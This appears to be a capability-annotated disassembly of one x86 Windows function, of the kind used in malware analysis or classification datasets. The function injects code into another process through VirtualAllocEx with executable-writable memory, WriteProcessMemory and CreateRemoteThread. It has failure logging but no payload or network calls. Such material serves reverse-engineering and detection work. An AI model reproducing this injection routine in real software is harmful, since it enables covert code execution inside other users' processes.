Function at 0x4151d0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e3621
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x52610c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x40
push 0x1000
push 0x1000
push 0
push esi
mov byte [ebp - 0x29], 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x4152dd
sub esp, 8
lea ecx, [ebp - 0xe0]
call fcn.00404ce0
mov edx, str._VirtualAllocEx_Failed
mov dword [ebp - 4], edi
lea ecx, [ebp - 0xd0]
call fcn.00406090
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xe0]
call fcn.00404bd0
mov esi, eax
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 0x10
jb 0x415267
mov esi, dword [esi]
mov eax, dword [0x52e1c0]
test eax, eax
jne 0x415294
push 0xf0
call fcn.0049fc85
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00404220
mov byte [ebp - 4], 1
mov dword [0x52e1c0], eax
push esi
push 4
mov ecx, eax
call fcn.00404860
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4152b3
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00409950
lea ecx, [ebp - 0x78]
call fcn.00404bf0
lea ecx, [ebp - 0x78]
mov dword [ebp - 4], 3
push ecx
mov dword [ebp - 0x78], vtable.std::ios_base.0
call fcn.0049c747
mov al, byte [ebp - 0x29]
add esp, 4
jmp 0x4154a8
push 0
push 0x1000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4153b6
sub esp, 8
lea ecx, [ebp - 0x190]
call fcn.00404ce0
mov edx, str._WriteProcessMemory_Failed
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x180]
call fcn.00406090
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x190]
call fcn.00404bd0
mov esi, eax
mov byte [ebp - 4], 5
cmp dword [esi + 0x14], 0x10
jb 0x415337
mov esi, dword [esi]
mov eax, dword [0x52e1c0]
test eax, eax
jne 0x415364
push 0xf0
call fcn.0049fc85
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.00404220
mov byte [ebp - 4], 5
mov dword [0x52e1c0], eax
push esi
push 4
mov ecx, eax
call fcn.00404860
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x415383
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00409950
lea ecx, [ebp - 0x128]
call fcn.00404bf0
lea eax, [ebp - 0x128]
mov dword [ebp - 4], 7
push eax
mov dword [ebp - 0x128], vtable.std::ios_base.0
call fcn.0049c747
mov al, byte [ebp - 0x29]
add esp, 4
jmp 0x4154a8
push 0
push 0
push edi
push dword [ebp - 0x30]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x415491
sub esp, 8
lea ecx, [ebp - 0x240]
call fcn.00404ce0
mov edx, str._CreateRemoteThread_Failed
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x230]
call fcn.00406090
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x240]
call fcn.00404bd0
mov esi, eax
mov byte [ebp - 4], 9
cmp dword [esi + 0x14], 0x10
jb 0x415415
mov esi, dword [esi]
mov eax, dword [0x52e1c0]
test eax, eax
jne 0x415442
push 0xf0
call fcn.0049fc85
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, eax
mov byte [ebp - 4], 0xa
call fcn.00404220
mov byte [ebp - 4], 9
mov dword [0x52e1c0], eax
push esi
push 4
mov ecx, eax
call fcn.00404860
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x415461
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00409950
lea ecx, [ebp - 0x1d8]
call fcn.00404bf0
lea eax, [ebp - 0x1d8]
mov dword [ebp - 4], 0xb
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0049c747
mov al, byte [ebp - 0x29]
add esp, 4
jmp 0x4154a8
push 0x3e8
push esi
mov bl, 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049fc55
mov esp, ebp
pop ebp
ret